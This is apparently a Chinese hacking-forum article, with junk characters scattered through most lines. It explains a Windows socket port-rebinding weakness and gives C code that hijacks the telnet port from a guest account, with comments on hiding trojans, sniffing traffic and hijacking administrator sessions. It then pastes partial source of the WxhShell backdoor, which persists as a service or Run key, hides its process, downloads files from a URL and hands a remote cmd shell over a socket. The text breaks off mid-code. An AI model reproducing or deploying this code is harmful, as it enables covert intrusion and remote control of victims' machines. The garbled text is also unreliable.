在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U^ BB| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(J Fa =_cWCl^5 saddr.sin_family = AF_INET;
Pw
/wAUt iZ[o2Tre saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,%dn)gt7 ;BoeE3*
6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e,I-u'mLQs M:?eK
[h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M 0-> |6\ ?"# 这意味着什么?意味着可以进行如下的攻击:
_}Jz_RS2` Yl1@gw7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
zEY
Ey1 Y_PCL9G{p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9>le-}~ 'ESy>wA{y< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+C\?G/ r3ZY`zf 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#eE:hiu<v u4o%qK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:[(X!eP ika{>hbH 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>~J_9'gX6 4)9X) Qx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
SVXey?A;CJ x#dJH9NR[ #include
V6wYJ$] #include
$K<jmEC@< #include
$yaE!.Kc #include
@c$mc DWORD WINAPI ClientThread(LPVOID lpParam);
e5fJN)+a int main()
!l6B_[!@ {
>E"FoZM= WORD wVersionRequested;
|#5JI#,vX DWORD ret;
]2zx}D4f WSADATA wsaData;
& PHHacp BOOL val;
E_?3<)l)RI SOCKADDR_IN saddr;
Q;r 0#" SOCKADDR_IN scaddr;
7F?^gMi int err;
;
@Gm@d SOCKET s;
&$hfAG]" SOCKET sc;
:CHCVoh@95 int caddsize;
XNu2G19jb HANDLE mt;
KU33P>a"[k DWORD tid;
R52q6y:<x wVersionRequested = MAKEWORD( 2, 2 );
r(vk2Qy err = WSAStartup( wVersionRequested, &wsaData );
|hp_X>Uv' if ( err != 0 ) {
O";r\Z printf("error!WSAStartup failed!\n");
j-
F=5)A return -1;
$BH0W{S }
0?,EteR saddr.sin_family = AF_INET;
.M:,pw"S] *o"F.H{#N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+<
BAJWU m}Tu^dy saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
D>*%zz| saddr.sin_port = htons(23);
y''? yr if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m
U7Ad" {
"c\T printf("error!socket failed!\n");
HEe0dqG return -1;
nk-6W4 }
gWgK val = TRUE;
qLYv=h$, //SO_REUSEADDR选项就是可以实现端口重绑定的
BzWmV.5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9lTA/- {
7Oxvq^[ printf("error!setsockopt failed!\n");
_IpW& return -1;
(2qo9j"j/Y }
HTx7._b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]]%C\Ryy} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0TA/ExJ-LT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nsgNIE{>gO Vp5qul% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
s?%1/&.~ {
YVW!u6W'[6 ret=GetLastError();
T/S-}|fhQ printf("error!bind failed!\n");
,u]kZ ] return -1;
fvNGGn! }
m@HU;J\I listen(s,2);
XTW/3pB while(1)
y'pG'"U]_ {
bJ. ((1$ caddsize = sizeof(scaddr);
R4V>_\D/ //接受连接请求
+oQ@E<)H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
M5) 6|T if(sc!=INVALID_SOCKET)
iQa Q"s {
2?
!b! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7^Onq0ym T if(mt==NULL)
|Q:`:ODy`5 {
]Dx?HBM"DC printf("Thread Creat Failed!\n");
u4+VG5.rhT break;
kt;X|`V{5z }
wRie{Vk }
/[EI0~P CloseHandle(mt);
`VBjH]$ }
.WG@"2z| closesocket(s);
>656if O WSACleanup();
o_G.J4 V return 0;
T,?^J-h^ }
T
86}^=-5 DWORD WINAPI ClientThread(LPVOID lpParam)
G0*$&G0nb {
89 (k<m SOCKET ss = (SOCKET)lpParam;
5gJQr%pS SOCKET sc;
SH}O?d\Q: unsigned char buf[4096];
Y}f%/vus SOCKADDR_IN saddr;
U_I'Nz!^t long num;
=
)(; DWORD val;
L
YH9P-5H DWORD ret;
]i$CE|~ //如果是隐藏端口应用的话,可以在此处加一些判断
J::SFu= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
q(uu;l[ saddr.sin_family = AF_INET;
QT-rb~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3rR(>}:[V saddr.sin_port = htons(23);
C8G['aQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{h@R\bU {
z1]RwbA?1 printf("error!socket failed!\n");
,:z@Ji return -1;
+JQN=nTA }
g" M1HxlV val = 100;
$W0lz#s: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#vS>^OyP {
Z3#3xG5pl ret = GetLastError();
l{y~N return -1;
14^t{ }
mX2Qf8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TkQ05'Qc {
&2) mpY8xQ ret = GetLastError();
v1)jZ.: return -1;
j4NS5 }
LL,~&5{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7qh_URt@ {
% l5J printf("error!socket connect failed!\n");
* |,V$ closesocket(sc);
v4S|&m closesocket(ss);
'rCwPsI&4 return -1;
8} S|iM }
x&?35B
i while(1)
p6ZKyi {
.Wa6?r<g //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
h"<rW7z //如果是嗅探内容的话,可以再此处进行内容分析和记录
*np%67=jO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
12rr:(#%s num = recv(ss,buf,4096,0);
@w|~:>/g if(num>0)
k'u2a send(sc,buf,num,0);
#U6Wv1H{Lp else if(num==0)
;>Kxl}+R break;
*.~M#M 9c num = recv(sc,buf,4096,0);
:z^c<KFX if(num>0)
KD#ip3 send(ss,buf,num,0);
\GPWC}V\s else if(num==0)
m$$U%=r>@ break;
:/1WJG:! }
IXC: Q
closesocket(ss);
g/T`4"p[H closesocket(sc);
+i
K.+B return 0 ;
t(s']r }
5$9j&&R pRYt.}/K e+&/Tq'2 ==========================================================
sM-k,0z ,>e<mphM 下边附上一个代码,,WXhSHELL
?N`W, ]i{-@Ven ==========================================================
YgVZq\AV" Y%Saz+ #include "stdafx.h"
=k &'ft ,{]>U'- #include <stdio.h>
cvAkP2 #include <string.h>
N b+zP[C #include <windows.h>
1s1$J2LX #include <winsock2.h>
/)v X|qtIY #include <winsvc.h>
\bfNki #include <urlmon.h>
okfhd{9 gIT"nG=a4 #pragma comment (lib, "Ws2_32.lib")
|qZ4h7wL #pragma comment (lib, "urlmon.lib")
Aw >DZ2
!$&K~>` #define MAX_USER 100 // 最大客户端连接数
7MBz&wE^f #define BUF_SOCK 200 // sock buffer
n.Ekpq\ #define KEY_BUFF 255 // 输入 buffer
AC
3 ;i Plt~l3_ #define REBOOT 0 // 重启
SVeL c #define SHUTDOWN 1 // 关机
LnM+,cBz E*k=8$Y #define DEF_PORT 5000 // 监听端口
]V}";cm;2 ek3/`]V: #define REG_LEN 16 // 注册表键长度
[x9eamJ,H #define SVC_LEN 80 // NT服务名长度
539[,jH M`S >Q2{ // 从dll定义API
6&h,eQ! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vbz$dpT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*n}{)Ef typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
esFBWJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?|{P]i?)' hoPCbjkov // wxhshell配置信息
2}hEBw68 struct WSCFG {
HjL+Wg int ws_port; // 监听端口
`43E-'g char ws_passstr[REG_LEN]; // 口令
\vpUl int ws_autoins; // 安装标记, 1=yes 0=no
-R|v&h%T char ws_regname[REG_LEN]; // 注册表键名
!.kj-==s{7 char ws_svcname[REG_LEN]; // 服务名
VYik#n>|Gp char ws_svcdisp[SVC_LEN]; // 服务显示名
PYW~x@]k%, char ws_svcdesc[SVC_LEN]; // 服务描述信息
{QJJw}!# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_?mu2!X int ws_downexe; // 下载执行标记, 1=yes 0=no
V\4'Hd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'V } -0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z+FJ cvYx [N.4i"
Cd };
PC=b.H8P+W b$%W<D // default Wxhshell configuration
l2z@t3{ struct WSCFG wscfg={DEF_PORT,
$xNZ.|al "xuhuanlingzhe",
G4]T 1,
E ekX|* "Wxhshell",
5_0Eh!sx "Wxhshell",
51l : "WxhShell Service",
CO-9-sQx
"Wrsky Windows CmdShell Service",
AvH^9zEE( "Please Input Your Password: ",
ioz4kG! 1,
r m\] "
http://www.wrsky.com/wxhshell.exe",
UJ
n3sZ<} "Wxhshell.exe"
PkMN@JS };
XeJn,= K#tT \ // 消息定义模块
z'j4^Xz?%$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Qne@Vf kA char *msg_ws_prompt="\n\r? for help\n\r#>";
bRfac/:} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
o4\\q66K char *msg_ws_ext="\n\rExit.";
9J$N5 char *msg_ws_end="\n\rQuit.";
lE'2\kxI? char *msg_ws_boot="\n\rReboot...";
Wv8?G~> char *msg_ws_poff="\n\rShutdown...";
KZ>cfv-&a char *msg_ws_down="\n\rSave to ";
=g
UOHH RGf&KV/ char *msg_ws_err="\n\rErr!";
Z<@0~t_:?p char *msg_ws_ok="\n\rOK!";
J>TNyVaoQ l|j char ExeFile[MAX_PATH];
/R!:l l2 int nUser = 0;
Jx!#y A; HANDLE handles[MAX_USER];
YZMSiDv[e int OsIsNt;
C[6}
8J| :Ugf3%sQ SERVICE_STATUS serviceStatus;
T]HeS( SERVICE_STATUS_HANDLE hServiceStatusHandle;
))66_bech QVJq% P // 函数声明
,` 6O{Z~ int Install(void);
oIrO%v:'! int Uninstall(void);
lK
5@qG# int DownloadFile(char *sURL, SOCKET wsh);
SYkwM6 int Boot(int flag);
s'b 4Me void HideProc(void);
Y 3h`uLQ int GetOsVer(void);
FC@h6\+a int Wxhshell(SOCKET wsl);
?(0=+o(` void TalkWithClient(void *cs);
C.].HQ int CmdShell(SOCKET sock);
k{d] int StartFromService(void);
2RG6m=Y8y int StartWxhshell(LPSTR lpCmdLine);
~G,_4}#"pM w;W# 'pE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9kHVWDf VOID WINAPI NTServiceHandler( DWORD fdwControl );
k<Qhw)M8 ^m~&2l\N= // 数据结构和表定义
iO+,U} & SERVICE_TABLE_ENTRY DispatchTable[] =
r2yJ{j&s {
ti'B}bH>' {wscfg.ws_svcname, NTServiceMain},
70Jx[3vr {NULL, NULL}
jVi>9[rz };
!mHMFwvS GZH{"_$ // 自我安装
`Y O(C<r- int Install(void)
Pm&h v*D {
& 6'Rc#\P char svExeFile[MAX_PATH];
sPX&XqWx HKEY key;
,.9k)\/V strcpy(svExeFile,ExeFile);
}C4wED. s|IY
t^ // 如果是win9x系统,修改注册表设为自启动
Znr@-=xZO* if(!OsIsNt) {
5C0![$W> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ckGmwYP9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6S`0<Z;;/ RegCloseKey(key);
hh8Grl; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]-8WM5\qJM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3 {$vN). RegCloseKey(key);
|;:g7eb return 0;
.DNPL5[v }
!]5}N^X }
@<NuuYQ& }
Xii>?sA5Z" else {
y+3+iT@i E75/EQ5p]p // 如果是NT以上系统,安装为系统服务
3ew4QPT' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[ ?%q,>F if (schSCManager!=0)
>)F "lR:o {
zD)/Q FILy SC_HANDLE schService = CreateService
Hvb8+"?~ (
KpA1Ac)T schSCManager,
?4A/?Z]ub wscfg.ws_svcname,
H-vHcqFx3 wscfg.ws_svcdisp,
B (Ps/ SERVICE_ALL_ACCESS,
cbN;Kv?ak} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m g,1*B' SERVICE_AUTO_START,
^/_Yk.w SERVICE_ERROR_NORMAL,
T/a=z svExeFile,
4-~Z{#- NULL,
&rG B58 NULL,
c
{/J. NULL,
>
vdmN] NULL,
]{oZn5F NULL
gk6UV2nE? );
@-}*cQ4u? if (schService!=0)
{j=` {
SE'!j]6jI CloseServiceHandle(schService);
Z\?2"4H CloseServiceHandle(schSCManager);
\?pyax8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
tI1OmhNN strcat(svExeFile,wscfg.ws_svcname);
R&9FdM3K`: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
lD[37U! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Fvf|m7 RegCloseKey(key);
1W\E`)Z}] return 0;
m>%b4M }
3P9ux }
DY -5(6X CloseServiceHandle(schSCManager);
ki?h7 }
!!A0K"h }
baBBn%_V W#S8 2 return 1;
U@M3.[jw }
Hs*["zFc T]\c2U // 自我卸载
;I&VpAPx int Uninstall(void)
I]^>>>p$ {
?u|@,tQ[ HKEY key;
CJ*
D _Z23lF9 if(!OsIsNt) {
$c9-Q+pZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XEgJ7h_ RegDeleteValue(key,wscfg.ws_regname);
>~SS^I0 RegCloseKey(key);
r/2=
nE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5?lc%,-& RegDeleteValue(key,wscfg.ws_regname);
7~SwNt, RegCloseKey(key);
0?<#! return 0;
F}5d>nw }
6Q^~O*cw }
+{1.kb
Zq }
|@vkQ
else {
CZ<T@k gxN>q4z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
DsejZ& if (schSCManager!=0)
lj (y {
H/c
(m|KK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]3rVULU"K- if (schService!=0)
")T\_ME {
LWyr if(DeleteService(schService)!=0) {
1@DC#2hPr CloseServiceHandle(schService);
V5w1ET CloseServiceHandle(schSCManager);
JVYH b 60Z return 0;
;f=m+QXU }
Ho>Np& CloseServiceHandle(schService);
r- <O'^C }
_!nsEG
VV CloseServiceHandle(schSCManager);
rZ~w_DK* }
Ax;=Zh<DAv }
iQ;p59wSzL "9wD|wsz return 1;
]mTBD<3\ }
T$I_nxh[)L /|IPBU 5 // 从指定url下载文件
wDJ`#"5p{ int DownloadFile(char *sURL, SOCKET wsh)
rmiOeS`: {
5% 2A[B HRESULT hr;
yD7BZI
xW char seps[]= "/";
5E&#Kh(I char *token;
^7-zwl(>?N char *file;
Oynb"T&8 char myURL[MAX_PATH];
2
T!Tiu char myFILE[MAX_PATH];
~HZdIPcC e-nA>v strcpy(myURL,sURL);
D 2X_Yv token=strtok(myURL,seps);
=p+y$ while(token!=NULL)
]~({;;3o- {
(W
~K1] file=token;
/yOx=V token=strtok(NULL,seps);
1E+12{~m"i }
lW+mH= C=:<[_m` GetCurrentDirectory(MAX_PATH,myFILE);
6b2UPI7m~ strcat(myFILE, "\\");
M]x>u@JH strcat(myFILE, file);
b 7UJ send(wsh,myFILE,strlen(myFILE),0);
g.lTNQm$u send(wsh,"...",3,0);
<ql,@*Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r|Ui1f5 if(hr==S_OK)
h051Ol\v* return 0;
t" .Ytz> else
{]0e=#hw return 1;
=>jp\A |>.Q U3 }
al2t\Iq90 /^.|m3 // 系统电源模块
22gh!F%) int Boot(int flag)
$Ome]+0 {
,X4e?$7g HANDLE hToken;
,,H "?VO TOKEN_PRIVILEGES tkp;
)t6]F6!_ ]<;,HGO if(OsIsNt) {
RK3 yq$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x9_mlZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&m5zd$6 tkp.PrivilegeCount = 1;
(eHyas %X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)!T~l(g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>=~\b if(flag==REBOOT) {
xoaO=7\io if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Q;M\fBQO}& return 0;
!`DRJ)h }
_plK(g-1J% else {
QV;o9j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V%Uj\cv return 0;
aeqz~z2~8s }
9U8M|W|d }
@/2Kfr else {
gP^2GnjHL8 if(flag==REBOOT) {
e8m,q~%#/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Z>[7#;; return 0;
nm'l}/Ug }
Z;BS@e else {
m'4f'tbN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g:
i5%1 return 0;
$] 6u#5 }
*Gsj pNr- }
R4?>C-; d,<ni" return 1;
FpoHm%+ }
IqOg{#sm ]hl*6 // win9x进程隐藏模块
kfy!T rf void HideProc(void)
0|3I^b {
X{9^$/XsJ <izQ]\kL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|s8N if ( hKernel != NULL )
)rc!irac] {
Z6!Up1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;>6< u.N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
UaT%tv>}8# FreeLibrary(hKernel);
T j$'B[cv }
)SV.| `lf_wB+I return;
eP{srP3 9 }
blO4)7m exRw, Nk4 // 获取操作系统版本
)"?4d[ 5 int GetOsVer(void)
bR\7j+*& {
qxL\G &~ OSVERSIONINFO winfo;
pR0[qsQM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d;i|s[6ds` GetVersionEx(&winfo);
F(")ga$r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z^Hc'oVXj: return 1;
hmy%X`%j else
F^!D[:;jK return 0;
P.~UUS }
3?OQ-7, wj[yo
S // 客户端句柄模块
Ky3mzw| int Wxhshell(SOCKET wsl)
mz?<t/$U {
_&KqmQ8$7 SOCKET wsh;
:e1h!G struct sockaddr_in client;
=lacfPS DWORD myID;
r>mBe;[TX {v={q1 while(nUser<MAX_USER)
Vax g {
kG^76dAQL int nSize=sizeof(client);
-@Ap;,= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
unDW2#GX if(wsh==INVALID_SOCKET) return 1;
iTxWXij xC76jE4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_[:6.oNjIe if(handles[nUser]==0)
D%>Bj>xQD closesocket(wsh);
"1o{mvCkR else
Y,L`WeQY. nUser++;
kBUkE-~ }
t~2oEwTm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U1`5P!ov EEe$A?a; return 0;
<^S\&v1C_ }
6@]o,O 44CZl{pt // 关闭 socket
|mT%IR void CloseIt(SOCKET wsh)
*tjaac;z<J {
.jRI
$vm closesocket(wsh);
aIgexi, nUser--;
?;~!C2Zs ExitThread(0);
w4
yrAj
2 }
Lg4|6.Ez|P IIk_!VzT // 客户端请求句柄
j26i+Z void TalkWithClient(void *cs)
g{&5a(W&` {
7cc^n\c?Y
bPsvoG SOCKET wsh=(SOCKET)cs;
4*_jGw char pwd[SVC_LEN];
bRo<~ rp% char cmd[KEY_BUFF];
#H$lBCWI char chr[1];
V#G)w~
int i,j;
lpT&v;$` pPL=(9d while (nUser < MAX_USER) {
n7> |$2Y @Y0ZW't if(wscfg.ws_passstr) {
}$oS/bo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$ (}rTm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w_"d&eYdg0 //ZeroMemory(pwd,KEY_BUFF);
#-|fdcb i=0;
1dvP2E while(i<SVC_LEN) {
9hr7+fW]t *eg0^ByeD // 设置超时
"DN,1Q
lCp fd_set FdRead;
_2KIe(,; struct timeval TimeOut;
'Agw~
&$ FD_ZERO(&FdRead);
%g:Q? FD_SET(wsh,&FdRead);
c5p,~z_Dtu TimeOut.tv_sec=8;
(]w6q&, TimeOut.tv_usec=0;
tE%g)hL- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
W" =l@}I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$9%F1:u ByqVNz0L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
QC'Ru'8S pwd
=chr[0]; i]n2\v AG
if(chr[0]==0xd || chr[0]==0xa) { cGm3LS6]*
pwd=0; Z/,R{Jgt"
break; xLed];2G
} %P}H3;2
i++; %OoH<\w
w
} RUY7Y?
aOvqk ^
// 如果是非法用户,关闭 socket cfmLErkp
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,h=a+ja8
} ,^bgk
-x-
:2lpl%/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =!-} q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ge`GQ>
'p5M|h\:T
while(1) { &~2m@X(o
NL]_;\ h
ZeroMemory(cmd,KEY_BUFF); K/9Jx(I,qL
8SpG/gl"
// 自动支持客户端 telnet标准 {.Qv1oOa
j=0; [~Ky{:@)[
while(j<KEY_BUFF) { =]%,&Se
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /KvJjt'8
cmd[j]=chr[0]; lEl.'X$
if(chr[0]==0xa || chr[0]==0xd) { LqYyIbsvf
cmd[j]=0; gaN/
kp
break; uD/@d'd_4L
} z5gVP8*z5
j++; ]Ea-MeH
} JDf>Qg{
7:B/?E
// 下载文件 3;buC|ky
if(strstr(cmd,"http://")) { A+^okT37r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); m 3UK`~ji
if(DownloadFile(cmd,wsh)) M|c_P)7ym
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZ8-?
else ~QSX 1w"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e?XFtIj$
} "BsK'yo.
else { ^g4Gw6q6
#b/L~Bw[
switch(cmd[0]) { dQT[pNp:
pO *[~yq5
// 帮助 t+w{uwEY
case '?': { aX1b(h2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (zFqb,P
break; Mf14> `<`
} wU|@fm"
// 安装 #czTX%+9(e
case 'i': { -i?gYF!G
if(Install()) L ~'98C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w71YA#cg
else tAq0Z)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -E1-(TS
break; nrY)i_\
} lrZ]c:%k
// 卸载 dwk%!%
case 'r': { YyYZD{^
if(Uninstall()) T; tY7;<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4ecF%R
else W8 Ssv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :!MEBqcU
break; l<XYDb~op
} ^2}HF/
// 显示 wxhshell 所在路径 m"rht:v5
case 'p': { ATqblU>D
char svExeFile[MAX_PATH];
7LU^Xm8
strcpy(svExeFile,"\n\r"); "LTw;& y
strcat(svExeFile,ExeFile); 2$Xof
send(wsh,svExeFile,strlen(svExeFile),0); ~bkO8tn
break; 1q(Qr
h
} B!pz0K*uG
// 重启 V\m"Hl>VIU
case 'b': { 3}FZg
w .
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &V1d"";SZ
if(Boot(REBOOT)) W6T4Zsg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?|kbIZP(
else { ^85Eveu
closesocket(wsh); ic`BDkNO
ExitThread(0); 27N;>
} \{`^Q+<
break; +Kb 7N, "
} [hSJ)IZh
// 关机 Xgd-^
case 'd': { 27fLW&b2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n[0u&m8
if(Boot(SHUTDOWN)) ,V,mz?d^9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BW)-F (v
else { 1s(T#jh
closesocket(wsh); g
ptf*^s
ExitThread(0); xjr4')h
} T`wDdqWbEG
break; QNOdt 2NN
} jbipNgxkr
// 获取shell vN^.MR+<
case 's': { V3ht:>c9qs
CmdShell(wsh); 1v|-+p42
closesocket(wsh); VA[EY`8
ExitThread(0); Hc'Pp{| X
break; &*>.u8:r
} :.ZWYze
// 退出 h"+7cc@
case 'x': { *Z"`g
%,;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &PE%tm
CloseIt(wsh); H2BRId
break; -y|J_;EG
} )XN%pn
// 离开 -B#1+rUW
case 'q': { 9no<;1+j,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WF`%7A39Af
closesocket(wsh); E>s+"y
WSACleanup(); zQulPU
exit(1); >fWGiFmlk
break; 3!l>\#q6
} Qwpni^D8j
} uQ-GJI^t
} =(
|%%,3
}qso} WI
// 提示信息 ]Z5m_-I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {EvT7W
} Cg]|x+
} KV$&qM.
6=]Gom&S
return; Q~nVbj?c2v
} l SdA7
8^}/T#l
// shell模块句柄 E#+2)Q
int CmdShell(SOCKET sock) RJ@79L*#
{ Xd%qebK
STARTUPINFO si; X3G593ts
ZeroMemory(&si,sizeof(si)); j%s,%#al
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 12U]=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sMGo1pG(
PROCESS_INFORMATION ProcessInfo; N_NN0
char cmdline[]="cmd"; ? Vd~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rb:H3zh
return 0; V?S}%-a
} D/Ki^E
]]K?Q
)9x
// 自身启动模式 pF8$83S
int StartFromService(void) -c&=3O!
{ m@XX2l9:9
typedef struct ISC>]`
{ `[5xncZ-
DWORD ExitStatus; {.$7g8]I
